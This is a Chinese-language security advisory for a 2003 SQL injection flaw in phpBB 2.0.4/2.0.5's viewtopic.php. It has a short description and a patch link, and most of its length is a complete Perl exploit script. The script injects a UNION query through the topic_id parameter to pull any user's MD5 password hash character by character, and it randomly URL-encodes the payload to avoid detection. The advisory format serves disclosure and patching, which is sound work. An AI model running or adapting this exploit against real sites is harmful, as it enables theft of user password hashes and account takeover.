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phpBB Viewtopic.PHP SQL注入漏洞


发布时间:2003-06-19
更新时间:2003-06-20
严重程度:
威胁程度:用户敏感信息泄露
错误类型:输入验证错误
利用方式:服务器模式

BUGTRAQ ID:7979

受影响系统
phpBB Group phpBB 2.0.4
phpBB Group phpBB 2.0.5
详细描述
phpBB是流行的论坛程序。

phpBB存在SQL注入漏洞, /viewtopic.php中的"topic_id"变量由GET中获得时没有充分过滤,可以导致用于获得用户的MD5密码。

测试代码
#!/usr/bin/perl -w
#
#
#    phpBB    password disclosure vuln.
#    - rick patel    (rikul7@yahoo.com) -
#    
#    There is a sql injection vuln which exists in /viewtopic.php file. The variable is \
$topic_id #    which gets passed directly to sql server in query. Attacker could pass a \
special sql string which #    can used to see md5 password hash for any user (!) for \
phpBB. This pass can be later used with #    autologin or cracked using john.  
#
#    Details:
#
#    this is checking done for $topic_id in viewtopic.php:
#
#    if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
#    {
#          $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#    }
#    else if ( isset($HTTP_GET_VARS['topic']) )
#    {
#          $topic_id = intval($HTTP_GET_VARS['topic']);
#    }
#
#    ok... no else statement at end :)
#    now if GET[view]=newest and GET[sid] is set, this query gets executed:
#
#        $sql = "SELECT p.post_id
#               FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s,  " . \
USERS_TABLE . " u #               WHERE s.session_id = '$session_id'
#                  AND u.user_id = s.session_user_id
#                  AND p.topic_id = $topic_id
#                  AND p.post_time >= u.user_lastvisit
#               ORDER BY p.post_time ASC
#               LIMIT 1";
#
#    Ahh! $topic_id gets passed directy to query. So how can we use this to do something \
important? Well #    I decided to use union and create a second query will get us \
something useful. There were couple of  #      problems i ran into. first, phpBB only \
cares about the first row returned. second, the select for first #    query is p.post_id \
which is int, so int becomes the type returned for any other query in union. third, \
#    there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that \
by placing /* at end #     of our injected query. So what query can we make that returns \
only int?   #    this one => select ord(substring(user_password,$index,1)) from \
phpbb_users where user_id = $uid #    Then all we have to do is query 32 times which \
$index from 1-32 and we get ord value of all chars of #    md5 hash password.
#
#      I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support \
unions so you would have to tweak #    the query to do anything useful.
#    
#    This script is for educational purpose only. Please dont use it to do anything \
else.     #

use IO::Socket;

$remote = shift || 'localhost';
$view_topic = shift ||  '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;

$dbtype = 'mysql4';    # mysql4 or pgsql


print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";

$p = "";

for($index=1; $index<=32; $index++)
{
    $socket = IO::Socket::INET->new(PeerAddr => $remote,
                PeerPort => $port,
                Proto => "tcp",
                Type => SOCK_STREAM)
    or die "Couldnt connect to $remote:$port : $@\n";
    $str = "GET $view_topic" . "?sid=1&topic_id=-1" .  random_encode(make_dbsql()) .  \
"&view=newest" . " HTTP/1.0\n\n";

    print $socket $str;
    print $socket "Cookie: phpBB2mysql_sid=1\n";    # replace this for pgsql or remove it
    print $socket "Host: $remote\n\n";

    while ($answer = <$socket>)
    {
        if ($answer =~ /Location:.*\x23(\d+)/)    # Matches the Location: \
viewtopic.php?p=<num>#<num>  {
            $p .= chr ($1);
        }
    }
    
    close($socket);
}

print "\nMD5 Hash for uid $uid is $p\n";

# random encode str. helps avoid detection
sub random_encode
{
    $str = shift;
    $ret = "";
    for($i=0; $i<length($str); $i++)
    {
        $c = substr($str,$i,1);
        $j = rand length($str) * 1000;
        
        if (int($j) % 2 || $c eq ' ')
        {
            $ret .= "%" . sprintf("%x",ord($c));
        }
        else
        {
            $ret .= $c;
        }
    }
    return $ret;
}

sub make_dbsql
{
    if ($dbtype eq 'mysql4')
    {
        return " union select ord(substring(user_password," . $index . ",1)) from \
phpbb_users where user_id=$uid/*" ;  } elsif ($dbtype eq 'pgsql')
    {
        return "; select ascii(substring(user_password from $index for 1)) as post_id from \
phpbb_posts p, phpbb_users u where u.user_id=$uid or false";  }
    else
    {
        return "";
    }
}

解决方案
临时补丁可以按照如下方法修补:

http://www.phpbb.com/phpBB/viewtopic.php?t=112052

相关信息
Rick <rikul@bellsouth.net>.
参考:http://marc.theaimsgroup.com/?l=bugtraq&m=105607263130644&w=2